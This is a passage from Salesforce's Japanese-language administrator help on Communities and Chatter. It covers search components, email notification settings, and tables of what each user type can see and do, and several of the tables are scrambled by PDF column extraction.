• オブジェクトをコミュニティで検索可能にするには、システム管理者が社内組織のオブジェクトの検索
結果条件を有効にする必要があります。カスタムオブジェクトを検索可能にするには、オブジェクトが
内部組織のタブに関連付けられている必要があります。

Koa および Kokua テンプレートを使用するコミュニティの場合:

• 主要検索コンポーネントを使用すると、コミュニティメンバーは特定のデータカテゴリ内の記事を検索
できます。

• 記事リストコンポーネントには、主要検索で入力された検索語に基づく検索結果が表示されます。
カスタマーサービス (Napili) テンプレートを使用するコミュニティの場合:

• 検索パブリッシャーコンポーネントを使用すると、コミュニティメンバーはコミュニティで検索語を入
力できます。

• 検索結果コンポーネントには、記事とディスカッションに限定された検索結果のリストが表示されま
す。

メモ: [トピック管理] でトピックが割り当てられている記事のみが、検索結果コンポーネントで入
力されます。

• グローバル検索結果コンポーネントを使用すると、メンバーが検索結果を 1 つのタブ ([すべて]) か、ケー
ス、取引先、取引先責任者、およびコミュニティで公開され各自にアクセス権があるその他のオブジェ
クト (カスタムオブジェクトを含む) の個別のタブで参照できます。

メモ: グローバル検索でカスタムオブジェクトを検索可能にするには、システム管理者がタブをそ
のカスタムオブジェクトに関連付ける必要があります。

• [検索パブリッシャーと投稿パブリッシャー] コンポーネントを使用すると、システム管理者はオートコ
ンプリート検索結果を設定できます。これらの推奨検索結果は、コミュニティで検索になっていてオー
トコンプリート検索に含まれるオブジェクトに基づいて入力されます。

Salesforce タブ + Visualforce を使用するコミュニティ:

• Chatterが組織で有効になっている場合、グローバル検索およびコンテキストフィード検索は、すべての
コミュニティ内でデフォルトで有効になります。
– グローバル検索を使用すると、メンバーは、レコード、ファイル、人、グループ、トピック、フィー

ド投稿、コメントを検索できます。
– フィード検索 ( ) は、メンバーが特定のフィードコンテキストの情報を探す場合に役立ちます。

フィード検索は、グループ、ユーザプロファイル、レコード、およびコミュニティフィードでサポー
トされます。
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• Chatter が有効になっていない場合、サイドバー検索がすべてのコミュニティで有効になります。
– サイドバー検索では、Chatterに固有の項目 (フィード、グループ、ファイル、トピック、ユーザプロ

ファイルなど) を検索できません。

コミュニティのメール通知の管理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メール通知を使用して、コミュニティの重要な更新を常に取得できます。
誰かが自分のプロファイルに投稿したり、自分の投稿に対して行ったコメント
の後にコメントしたり、所属するグループに投稿したりした場合などにメール
通知を取得するように選択できます。メール通知設定は、コミュニティによっ
て実行されます。
メール設定を実行するには、コミュニティ内のプロファイルページに移動し、
右上隅のドロップダウンボタン ( ) をクリックします。次に、[私の設定] を選
択し、[メール設定] をクリックします。個々の通知を有効または無効にできま
す。
現在のコミュニティには、選択済みの設定が適用されます。どのグループにも
属していない場合、最初のグループに参加するまで、グループを設定するオプションはこのページには表示さ
れません。各グループのページの [私宛てにメール送信...]ドロップダウンを使用して、グループメール設定を
実行することもできます。毎日または毎週のダイジェストメールを受信するか、誰かが投稿するたびにメール
を受信するかを選択できます。このオプションは、グループメンバーの場合に表示されます。
メールオプションは、個人設定にある内部組織の Chatter メール設定 (Chatter Free ユーザの場合は、あなたの名
前  > [私の設定] > [メール設定]) と類似しています。ただし、コミュニティ内では、次の違いに注意してくださ
い。
• 参加する新しいグループのデフォルトの通知頻度は、ユーザインターフェースでは設定できません。Salesforce

API (SOAP API および REST API) を介してのみ設定できます。
• 個人ダイジェストは現在使用できません。
• コミュニティでChatterメッセージが有効になっている場合は、ファイル共有がメッセージで通知されます。

Chatter メッセージが有効になっていない場合は、ファイル共有がメールで通知されます。
• コミュニティでフラグ設定が有効になっている場合、[項目に不正フラグを付ける] オプションは、コミュ

ニティのすべてのメンバーに表示されますが、通知が送信されるのは次の場合だけです。
– グループの所有者またはマネージャであり、グループの投稿、コメント、ファイルにメンバーがフラグ

を設定した場合。
– モデレータであり、アクセス権がある投稿、コメント、ファイルにメンバーがフラグを設定した場合。

受信する通知種別に応じて、次の権限も必要になります。

必要な権限メール通知の対象要素

「コミュニティフィードのモデレート」フラグが設定された投稿および
コメント

「コミュニティファイルのモデレート」フラグが設定されたファイル
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必要な権限メール通知の対象要素

「コミュニティフィードのモデレート」および「コミュニティ Chatter

メッセージのモデレート」
フラグが設定された Chatter メッ
セージ

「コミュニティ Chatter メッセージのモデレート」フラグが設定されたダイレクト
メッセージ

メールの [不正フラグを設定] リンクが機能しない場合、UI からメッセージのフラグを設定します。

関連トピック:

Chatter メール設定への移動

コミュニティの内容を表示できるユーザ
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティにはさまざまなアクセスレベルを要求するさまざまな種別のユー
ザが含まれます。ユーザに表示される内容は、ユーザ種別および管理者がその
コミュニティを作成するときに選択するタブに依存します。次に説明する動作
も、共有モデルまたはユーザ共有に対する更新を考慮しません。

外部のコミュニ
ティメンバー (カ
スタマーポータ
ル、パートナー
ポータル、パート
ナーコミュニ
ティ、またはカス
タマーコミュニ
ティのライセンス)

Salesforce のコ
ミュニティメン
バー (Chatter Free
および Chatter 限
定を含むすべての
Salesforce ライセ
ンス)

システム管理者ま
たは「コミュニ
ティの作成および
設定」権限を持つ
Salesforce ユーザ

利用不可利用不可作成、タブおよび
ブランドのカスタ

Salesforce のコミュ
ニティの管理

マイズ、メンバー
の追加または削
除、コミュニティ
の有効化または無
効化が可能です。
ユーザがコミュニ
ティの作成または
カスタマイズを行
うには、「アプリ
ケーションのカス
タマイズ」権限も
必要です。
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

システム管理者または「コ
ミュニティの作成および
設定」権限を持つ
Salesforce ユーザ

グローバルヘッダーのド
ロップダウンには、ユー

グローバルヘッダーのド
ロップダウンには、ユー

グローバルヘッダーのド
ロップダウンには、ユー

グローバルヘッダー

ザがアクセスできるコミュ
ニティが表示されます。
状況が [無効]のコミュニ
ティにはアクセスできま

ザが作成したコミュニティ
とアクセスできるコミュ
ニティが表示されます。
また、社内組織に戻るリ
ンクもあります。
状況が [無効]のコミュニ
ティにはアクセスできま

ザが作成したコミュニティ
とアクセスできるコミュ
ニティが表示されます。
また、社内組織に戻るリ
ンクもあります。
状況に関係なく、すべて
のコミュニティの設定に
アクセスできます。

せん。リンクがある場合
は、状況が [プレビュー]

のコミュニティを表示で
きます。せん。リンクがある場合

は、状況が [プレビュー]状況が [プレビュー] のコ
ミュニティを表示できま
す。

のコミュニティを表示で
きます。

[私の設定] メニュー、[連
絡先情報の編集] メ

社内組織と同様です。
Chatter Freeユーザには、[私
の設定] メニュー、[連絡先

社内組織と同様です。グローバルヘッダーの あ
なたの名前 メニュー

ニュー、[ログアウト] リン
クを表示できます。外部情報の編集] メニュー、[ロ
ユーザの場合、[私の設定]グアウト] リンクが表示さ
メニューでは、場所設定、れます。Chatter Freeユーザ
セキュリティ設定、メーの場合、[私の設定] メ
ル設定、承認済み接続がニューでは、場所設定、
フロート表示で開き、そセキュリティ設定、メー
こでこれらを更新できまル設定、承認済み接続が
す。これらの設定は、ユーフロート表示で開き、そ
ザがアクセス権を持ってこでこれらを更新できま
いるすべてのコミュニティす。これらの設定は、内
に適用されます。組織が、部組織とユーザがアクセ
改善された [設定] ユーザイス権を持っているすべて
ンターフェースを有効にのコミュニティに適用さ
している場合、このフローれます。組織が、改善さ
ト表示は、他の内部ユーれた [設定] ユーザインター
ザに表示される [私の設定]

ページとは異なります。
フェースを有効にしてい
る場合、このフロート表
示は、他の内部ユーザに
表示される [私の設定] ペー
ジとは異なります。
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

システム管理者または「コ
ミュニティの作成および
設定」権限を持つ
Salesforce ユーザ

利用不可「コミュニティの管理」
権限を持つユーザにはメ

システム管理者または「コ
ミュニティの管理」権限

グローバルヘッダーでの
コミュニティワークスペー

ニューが表示され、そのを持つユーザにはメニュースまたは [コミュニティ管
理]メニューへのアクセス メニューを使用して、コ

ミュニティをプレビュー
が表示され、そのメニュー
を使用して、コミュニティ

したり、コミュニティビをプレビューしたり、コ
ルダー、Site.com Studio、おミュニティビルダー、
よび Force.com にアクセスSite.com Studio、および
したりできます。コミュForce.com のコミュニティ
ニティビルダーオプショ設定にアクセスしたりで
ンは、Salesforce タブ +きます。コミュニティビ
Visualforce テンプレートをルダーオプションは、
使用して作成されたコミュSalesforce タブ + Visualforce

ニティには表示されませ
ん。
このメニューは、[コミュ
ニティ管理]内でのみ表示
されます。

テンプレートを使用して
作成されたコミュニティ
には表示されません。
このメニューは、[コミュ
ニティ管理]内でのみ表示
されます。

利用不可Salesforce標準ユーザには、
Salesforceオンラインヘルプ

Salesforceオンラインヘルプ
を表示できます。

Salesforceオンラインヘルプ

が表示されます。Chatter

Free ユーザには、Chatter の
ヘルプが表示されます。

コミュニティ内の他の全員を表示できます。逆もまた同様です。人

すべてのメンバーの [名]、
[姓]、[ニックネーム] 項目

すべてのコミュニティメンバーのプロファイルに、す
べての取引先責任者情報 ([役職]、[勤務先電話番号]、

プロファイルおよび人の
フロート表示

およびプロファイル写真[メール] など) を表示できます。人のフロート表示で
を表示できますが、[取引は、常にメンバーの [役職]、[勤務先電話番号] および

[携帯電話] 項目がユーザに表示されます。 先責任者追加情報] 項目の
うち表示できるのは、そ
のメンバーが外部ユーザ
に表示することを選択し
た項目のみです。デフォ
ルトでは、[役職] のみが表
示され、他の項目は表示
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

システム管理者または「コ
ミュニティの作成および
設定」権限を持つ
Salesforce ユーザ

されません。人のフロー
ト表示で [役職]、[勤務先
電話番号] および [携帯電
話] 項目がユーザに表示さ
れるのは、メンバーがそ
のユーザに表示すること
を選択した場合のみです。

すべてのコミュニティの
うち (共有ルールおよび権

標準 Salesforce ユーザに
は、すべてのコミュニティ

すべてのコミュニティの
うち (共有ルールに基づく)

レコード (取引先、リー
ド、商談など)

限に基づく) アクセス権ののうち (共有ルールに基づアクセス権のあるレコー
あるレコードを表示でき
ます。

く) アクセス権のあるレ
コードおよび社内組織が
表示されます。Chatter Free

ドおよび内部組織を表示
できます。

ユーザはレコードへのア
クセス権がありません。

ロールベースの外部ユー
ザは、コミュニティのレ

ダッシュボードとレポートを表示、作成できます。ダッシュボードとレポー
ト

ポートを作成および編集
できますが、ポータルの
レポートは作成および編
集できません。ただし、
いくつかの例外がありま
す。詳細は、「外部ユー
ザのレポート管理の設定
— レポートの作成と編
集」を参照してください。
すべてのロールベースの
外部ユーザがダッシュボー
ドを更新できます。

記事のカテゴリの表示Salesforce ナレッジユーザラ
イセンス、記事タイプに

Salesforce ナレッジユーザラ
イセンス、記事タイプに

Salesforce ナレッジ記事

対する「参照」権限、記事
のカテゴリの表示

対する「参照」権限、カテ
ゴリの表示
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Chatter 表示

外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

Salesforce システム管理者

コミュニティ内で、ユー
ザはそのコミュニティの

コミュニティ内で、ユー
ザはそのコミュニティの

コミュニティ内で、ユー
ザはそのコミュニティの

グループ

すべてのグループの参照すべてのグループの参照すべてのグループの参照
および参加が可能ですが、および参加が可能ですが、および参加が可能ですが、
ユーザがメンバーとなっユーザが属するその他のユーザが属するその他の
ているその他のコミュニコミュニティまたは社内コミュニティまたは社内
ティのグループを表示す
ることはできません。
新しいグループを作成で
きます。ユーザがメンバー

組織のグループを表示す
ることはできません。
新しいグループを作成で
きます。ユーザがメンバー

組織のグループを表示す
ることはできません。
新しいグループを作成で
きます。ユーザがメンバー

となっているグループでとなっているグループでとなっているグループで
は、投稿、コメント、ファは、投稿、コメント、ファは、投稿、コメント、ファ
イルまたはリンクの投稿、イルまたはリンクの投稿、イルまたはリンクの投稿、
他のユーザの投稿の共有
が可能です。

他のユーザの投稿の共有
が可能です。

他のユーザの投稿の共有
が可能です。
管理者はまた、「新しい
Chatter グループを作成し
て、所有する」ユーザ権
限により、組織内のユー
ザおよび外部ユーザが新
しいグループを作成でき
るかどうかを制御するこ
とができます。

現在のコミュニティに関
係なく、ユーザにはファ

現在のコミュニティに関係なく、ユーザにはファイル
のうち、所有するもの、直接共有されているもの、ラ

ファイル

イルのうち、所有するもイブラリでアクセスできるもの、アクセスできるレ
コードに投稿されたものが表示されます。
グループに投稿され、コミュニティ全体で共有された
ファイルは、そのコミュニティでのみ表示可能です。

の、直接共有されている
もの、ライブラリでアク
セスできるものが表示さ
れます。ポータルユーザ
には、アクセスできるレ
コードに投稿されたファ
イルのうち「社内のみ」
とマークされたレコード
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

Salesforce システム管理者

投稿を除いたものが表示
されます。

現在のコミュニティのす
べてのメンバーのプロファ

現在のコミュニティのすべてのメンバーのプロファイ
ルが表示されます。

プロファイル

イルが表示されます。社
内組織のユーザのプロファ
イルは表示されません。
プロファイル表示により、
ユーザ共有が強制されま
す。

ユーザには、現在のコミュニティについてのみ、人、グループ、ファイル、およ
びレコードのおすすめが表示されます。

おすすめ

現在のコミュニティの活
動統計と影響度を表示で
きます。
投稿やコメントのような
レコード上のすべての活

現在のコミュニティの活動統計と影響度を表示できま
す。
投稿やコメントのようなレコード上のすべての活動
は、活動が行われたコミュニティではなく、ユーザの
社内組織でカウントされます。

活動と影響

動は、ユーザの活動統計
と影響度ではカウントさ
れません。

メール通知個人設定は、
コミュニティによって実

メール通知個人設定は、
コミュニティによって実

メール通知個人設定は、
コミュニティによって実

メール通知

行されます。コミュニティ行されます。コミュニティ行されます。コミュニティ
内で、外部ユーザは、あ内で、標準 Salesforce ユー内で、ユーザは個人設定
なたの名前  > [私の設定] >ザは個人設定の Chatterの Chatter メール通知を制

御できます。
個人設定から社内組織の
メール通知を制御できま

[メール設定]にあるChatter

メール通知を制御できま
す。ポータルユーザは、
各グループのページのグ

メール通知を制御できま
す。
個人設定から社内組織の
メール通知を制御できます ([クイック検索]ボック

ループメール通知も制御
できます。
Chatter個人メールダイジェ
ストは、コミュニティで

す ([クイック検索]ボック
スに「Chatter」と入力
し、[メール通知]を選択す
る)。

スに「Chatter」と入力
し、[メール通知]を選択す
る)。
コミュニティ内で、すべ
てのユーザは各グループ はサポートされていませ

ん。グループダイジェス
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

Salesforce システム管理者

Chatter Free ユーザは、あな
たの名前  > [私の設定] >

のページのグループメー
ル通知を制御できます。

トはサポートされますが、
グループのメンバーが

[メール設定]にあるコミュChatter個人メールダイジェ
ストは、コミュニティで

10,000 人を超えると、すべ
ての投稿についてメール
通知を受信するオプショ

ニティの Chatter メールを
制御できます。現在のコ
ミュニティには、選択済
みの設定が適用されます。

はサポートされていませ
ん。グループダイジェス
トはサポートされますが、

ンは無効になります。こ
のオプションを選択した
すべてのメンバーは、自コミュニティ内で、すべ

てのユーザは各グループ
グループのメンバーが
10,000 人を超えると、すべ 動的に [毎日のダイジェス

ト] に切り替えられます。のページのグループメー
ル通知を制御できます。

ての投稿についてメール
通知を受信するオプショ
ンは無効になります。こ Chatter個人メールダイジェ

ストは、コミュニティでのオプションを選択した
すべてのメンバーは、自 はサポートされていませ
動的に [毎日のダイジェス
ト] に切り替えられます。

ん。グループダイジェス
トはサポートされますが、
グループのメンバーが
10,000 人を超えると、すべ
ての投稿についてメール
通知を受信するオプショ
ンは無効になります。こ
のオプションを選択した
すべてのメンバーは、自
動的に [毎日のダイジェス
ト] に切り替えられます。

現在のコミュニティについてのみ、ハッシュタグトピックと、フィードのトピッ
ク、トピックのリスト、トピック詳細ページ、[トピックのトレンド]、[最近の話
題] トピックを含む Chatter トピックが表示できます。

トピック

現在のコミュニティのお
気に入りにトピックのみ
を追加できます。

現在のコミュニティのお気に入りに検索、トピックお
よびリストビューを追加できます。

お気に入り

ユーザの Chatter メッセー
ジのリストには、ユーザ

Chatterメッセージのリスト
には、内部組織およびユー

Chatterメッセージのリスト
には、内部組織およびユー

Chatter メッセージ

がメンバーとなっているザがメンバーとなっていザがメンバーとなってい
コミュニティで送受信しるコミュニティで送受信るコミュニティで送受信
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー (Chatter Free お
よび Chatter 限定を含むす
べての Salesforce ライセ
ンス)

Salesforce システム管理者

した非公開メッセージを
表示できます。
Chatterメッセージを共通の
コミュニティのメンバー

たすべてのメッセージを
表示できます。
Chatterメッセージを共通の
コミュニティのメンバー

した非公開メッセージを
表示できます。
Chatterメッセージを共通の
コミュニティのメンバー

に送信できますが、メッ に送信できますが、メッに送信できますが、メッ
セージは、送信先ユーザ セージは、送信先ユーザセージは、送信先ユーザ
がメンバーであるコミュ がメンバーであるコミュがメンバーであるコミュ
ニティ内から送信する必
要があります。

ニティ内から送信する必
要があります。

ニティ内から送信する必
要があります。

「Chatter メッセージの管
理」および「API の有効

Chatter メッセージは、
Chatterタブからアクセスで

化」権限を持つシステム きます。このタブは、外
管理者は、メッセージを
削除できます。

部コミュニティメンバー
には無効になっている場
合があります。コミュニAPI を使用すると、コミュ

ニティをまたがってChatter ティで Chatter メッセージ
を使用する場合、システメッセージを送信できま

す。 ム管理者は Chatter タブが
有効であることを確認す
る必要があります。

Messenger は、コミュニティでは利用できません。Messenger (チャット)

フィード表示
次の表に、コミュニティ内の Chatter フィードで各種ユーザに可能な行動または表示内容を示します。

外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー

Salesforce システム管理者

ユーザがアクセス権を持
つコミュニティ内の任意

ユーザがアクセス権を持
つコミュニティ内の任意

コミュニティ内の任意の
レコードに投稿できます。

レコードに投稿する

のレコードに投稿できま
す。

のレコードに投稿できま
す。
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータル、
パートナーコミュニティ、
またはカスタマーコミュ
ニティのライセンス)

Salesforce のコミュニティ
メンバー

Salesforce システム管理者

現在のコミュニティ内の投稿をブックマークできます。ブックマーク済みフィー
ドに含まれるのは、現在のコミュニティからの投稿のみです。

投稿をブックマークする

現在のコミュニティに固
有の人をメンションでき
ます。

現在のコミュニティに固有の人をメンションできま
す。ユーザは、社内投稿で外部ユーザをメンションす
ることはできません。

他の人にメンションする

現在のコミュニティ内でのみ投稿を共有できます。投稿を共有する (再投稿)

現在のコミュニティ内の任意の投稿にハッシュタグトピックおよびChatterトピッ
クを追加できます。トピックは現在のコミュニティに固有であり、他のコミュニ
ティからはアクセスできません。

投稿にトピックを追加す
る

検索表示
コミュニティ内の検索動作は、社内組織内の検索とは少し異なります。デフォルトでは、すべての項目の共有
ルールが検索結果に反映されます。次の表に、コミュニティ内の各種ユーザが検索結果に表示できる内容を示
します。

外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータ
ル、パートナーコミュニ
ティ、またはカスタマー
コミュニティのライセン
ス)

Salesforce のコミュニ
ティメンバー

システム管理者検索結果の表示対象

現在のコミュニティに固有の人。人
ユーザ • コミュニティの他のパートナーおよび顧客は、プロファイルの非表示項目

の情報を検索できませんが、会社の内部組織のユーザはこの情報を検索で
きます。

• ポータルユーザは、サイドバー検索が有効な場合、コミュニティ内のユー
ザを検索できません。

• 外部コミュニティメンバーがユーザ検索を行うと、グローバル検索および
拡張ルックアップ検索 ([すべての項目]オプションが選択されている) は、
次の、ユーザレコードの制限された項目セットをクエリします。
– 名前
– ユーザ名
– ユーザ ID
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータ
ル、パートナーコミュニ
ティ、またはカスタマー
コミュニティのライセン
ス)

Salesforce のコミュニ
ティメンバー

システム管理者検索結果の表示対象

– 内容
– メール
– 電話
– カスタム項目

現在のコミュニティに固有のグループ。グループ

現在のコミュニティの表
示内容

現在のコミュニティの表示内容ファイル
• 所有ファイル

• 所有ファイル• 公開または非公開グループのユーザと共有され
たファイル • 公開または非公開グ

ループのユーザと共
有されたファイル

• コミュニティ全体で共有されているファイル
任意のコミュニティの表示内容

• コミュニティ全体で
共有されているファ
イル

• アクセス可能なレコードおよびレコードフィー
ドに投稿されたファイル

• ユーザがアクセスできる Salesforce CRM Content ラ
イブラリファイル 任意のコミュニティの表

示内容
ユーザが所有するファイルは、アップロードの方法
に関係なく、常にそのユーザの検索結果に表示され
ます。

• アクセス可能なレ
コードおよびレコー
ドフィードに投稿さ
れたファイル (「社内
のみ」とマークされ
たレコードに投稿さ
れたファイルを除く)

• ユーザがアクセスで
きる Salesforce CRM

Content ライブラリ
ファイル

ユーザが所有するファイ
ルは、アップロードの方
法に関係なく、常にその
ユーザの検索結果に表示
されます。
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータ
ル、パートナーコミュニ
ティ、またはカスタマー
コミュニティのライセン
ス)

Salesforce のコミュニ
ティメンバー

システム管理者検索結果の表示対象

現在のコミュニティに固有のトピック。トピック

検索を実行したコミュニティ内からのフィード投稿とコメント。
グローバル検索は、すべてのフィードコンテキストからの情報を返します。
コンテキストフィード検索 ( ) は、ユーザのプロファイル、レコード、ま

フィード

たはグループのフィードなど、検索を実行した場所のコンテキストから情報
を返します。異なるコミュニティのフィードで情報を検索するには、ユーザ
はそのコミュニティ内で検索する必要があります。

現在のコミュニティに固有の、最近アクセスした項目。検索自動入力

すべてのコミュニティの
ユーザプロファイルまた

すべてのコミュニティ
および社内組織のユー

すべてのコミュニティおよ
び社内組織のすべての項目
のフル表示。

レコード (取引先、取引先責任
者、リードなど)

は権限セットを通じて
ユーザがアクセス可能な
すべての項目の表示。

ザプロファイルまたは
権限セットを通じて
ユーザがアクセス可能
なすべての項目の表
示。

自身もメンバーの一員と
なっているすべてのコ

すべてのコミュニティおよび社内組織のすべての
ユーザ。

レコードのユーザ検索

ミュニティのメンバーで
あるユーザ、および同じ
外部アカウントに関連付
けられているその他の外
部ユーザ。パートナー
ポータルライセンスを持
つユーザには、ポータル
取引先の所有者も表示さ
れます。
検索の [最近参照した
ユーザ] リストには、ラ
イセンス、プロファイル
設定、権限セット、共有
ルールを使用してアクセ
スできるすべてのユーザ
が表示されます。ユーザ
共有が組織で有効になっ
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータ
ル、パートナーコミュニ
ティ、またはカスタマー
コミュニティのライセン
ス)

Salesforce のコミュニ
ティメンバー

システム管理者検索結果の表示対象

ている場合、この動作は
設定内容によって異なり
ます。
外部コミュニティメン
バーの場合、[すべての項
目] オプションが選択さ
れていると、拡張ルック
アップ検索は制限された
項目セット内を検索しま
す。

すべてのコミュニティの
ユーザプロファイルまた

すべてのコミュニティ
および社内組織のユー

すべてのコミュニティおよ
び社内組織のすべての項目
のフル表示。

レコードのルックアップ検索

は権限セットを通じて
ユーザがアクセス可能な
すべての項目の表示。

ザプロファイルまたは
権限セットを通じて
ユーザがアクセス可能
なすべての項目の表
示。

不可不可[コミュニティ管理] および
コミュニティワークスペー

[コミュニティ管理] でのルッ
クアップ検索

スで内部的に検索すると、
コミュニティ内で最後に参
照した項目が返されます。
探しているオブジェクトが
[最近参照したドキュメン
ト] リストに含まれていな
い場合は、オブジェクト名
の全部または一部を入力し
てからもう一度検索してく
ださい。
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外部のコミュニティメン
バー (カスタマーポータ
ル、パートナーポータ
ル、パートナーコミュニ
ティ、またはカスタマー
コミュニティのライセン
ス)

Salesforce のコミュニ
ティメンバー

システム管理者検索結果の表示対象

記事のカテゴリの表示Salesforce ナレッジユー
ザライセンス、記事タ

Salesforce ナレッジユーザラ
イセンス、記事タイプに対

Salesforce ナレッジ記事

イプに対する「参照」する「参照」権限、カテゴ
リの表示 権限、記事のカテゴリ

の表示

関連トピック:

Salesforce Communities の概要
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コラボレーションツールの設定および管理

ユーザ間のコラボレーション、さらにユーザと組織外の人とのコラボレーションを支援します。基本的な
Salesforce 管理についてのヘルプは、「組織の設定」を参照してください。

Salesforce Chatter

ユーザをつなぎ、引き込んで意欲を喚起し、ロールや場所に関係なく組織全体で効率的にコラボレーショ
ンと作業を行います。
Salesforce Files

[ファイル] 関連リストを含めるようにページレイアウトをカスタマイズして、レコードに関連付けられた
ファイルのリストがユーザに表示されるようにします。
Salesforce Files Sync

Salesforce Files Sync を使用すると、ユーザはデバイスと Salesforce の間でファイルを同期できます。
Salesforce Files Connect

Files Connect を使用すると、Salesforce ユーザは、Google ドライブ、SharePoint、Box のようなシステムから外部
データのアクセス、共有、検索が可能になります。
Chatter デスクトップ
Chatter デスクトップへのアクセスを制御し、Chatter デスクトップ管理バージョンのインストールと設定を
行います。
Salesforce CRM Content

コンテンツライブラリのファイルの保存、共有、および管理を行います。
Google Apps

Google ドキュメント、Gmail、Google 関連 AppExchange アプリケーションなどの Google アプリケーション
(Salesforce で使用できるようにカスタマイズされたアプリケーション) を有効にします。
その他のリソース
詳細情報が必要ですか? 次のヒント集を確認してください。
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Salesforce Chatter

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

Chatter を有効にする
• 「アプリケーションの

カスタマイズ」

ユーザをつなぎ、引き込んで意欲を喚起し、ロールや場所に関係なく組織全体
で効率的にコラボレーションと作業を行います。
Salesforce Chatter では、ユーザが組み込みアプリケーションとカスタムアクション
を使用して、商談、サービスケース、キャンペーン、およびプロジェクトに関
してコラボレーションできます。2010 年 6 月 22 日より後に作成された Salesforce

組織では、Chatter がデフォルトですべてのユーザに対して有効になっています。
ただし、組織の特定の部門のみに Chatter を使用させる場合は、代わりに Chatter

のプロファイルベースのロールアウトを実行できます。プロファイルベースの
ロールアウトでは、必要なユーザプロファイルまたは権限セットが割り当てら
れたユーザのみが Chatter にアクセスできます。Chatter のプロファイルベースの
ロールアウトは、大企業や規制による制約がある企業または政府機関で役立ち
ます。制御されたロールアウトを計画し、部門ごとに Chatter をリリースできま
す。
Chatter へのフルアクセス権を一部のユーザのみに付与する場合以外は、組織の
すべてのユーザに対して Chatter をロールアウトすることをお勧めします。Chatter

は、Salesforce 組織のすべてのセキュリティ設定および権限設定に従って保護さ
れ、機能します。

Chatter のプロファイルベースのロールアウトの概要
Chatter のプロファイルベースのロールアウトでは、組織内のすべてのユーザではなく、一部のユーザに対
して Chatter を有効にします。
Chatter の暗号化 (パイロット)

Spring '17 リリースでは、Chatter の Shield Platform Encryption が公開パイロットで実施されています。Chatter の
暗号化では、ネットワーク経由での送信時だけでなく、保存時に機密データを暗号化できます。Chatter の
暗号化は、本番環境への準備はできていませんが、組織の Sandbox で安全に試すことができます。
Chatter の設定
Chatter は、Salesforce および Salesforce1 アプリケーションでデフォルトで有効になっています。[設定] の [Chatter

設定] ページでさまざまな Chatter 機能を設定し、ユーザ向けに Chatter 環境をカスタマイズします。
パブリッシャーアクションおよびレイアウト
アクションにより、機能が Chatter パブリッシャーに追加され、ユーザが Salesforce と Salesforce1 でより多くの
機能を利用できるようになります。
フィード追跡
フィード追跡は、オブジェクトと項目への変更を追跡し、それらの変更を更新として Chatter に投稿します。
レコードをフォローするユーザの Chatter フィードにフィード更新が表示されます。
Chatter メール設定およびブランド設定
Chatter メール設定では、新しい投稿、コメント、およびその他の変更に関するメール通知をユーザに送信
するかどうかを制御できます。また、会社のロゴや送信者情報の追加など、メールの書式設定を変更する
こともできます。
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Chatter 投稿アクションおよびレイアウト
投稿およびコメントのアクションは、投稿またはコメントのドロップダウンメニューに表示されます。ユー
ザは投稿を編集、ブックマーク、ミュート、および削除し、トピックを追加し、投稿から ToDo を作成でき
ます。
グループレイアウト
グループレイアウトでは、Chatter グループに表示される項目、ボタン、アクション、リストをカスタマイ
ズできます。グループレイアウトへの変更は組織内のすべてのグループに影響しますが、Salesforce1 のグ
ループページにのみ表示されます。グループパブリッシャーへの変更は、Salesforce フルサイトと Salesforce1

アプリケーションに表示されます。
オブジェクトのトピック
オブジェクトのトピックは、会社の主要なテーマと問題をクラウドソースするための最も強力な方法の 1

つです。
Chatter 影響度のカスタマイズ
Chatter 影響度の計算を改善するには、投稿、コメント、いいね! の活動しきい値をカスタマイズします。
ユーザの Chatter メッセージの定義に関するガイドライン
「Chatterメッセージの管理」権限を持つSalesforceシステム管理者は、SOAP API を使用してすべてのユーザの
非公開メッセージにアクセスできます。任意のメッセージを (コンプライアンス目的などで) 参照および削
除できます。
ダッシュボードパッケージを使用した Chatter のレポート
SalesforceChatterダッシュボードパッケージには、極めて強力な機能がまとめられています。数種のダッシュ
ボードと 100 を超えるレポートのほか、組織での Chatter の採用やエンゲージメントの監視および管理に使
用可能なカスタムレポートタイプも取得できます。
Chatter ユーザライセンス
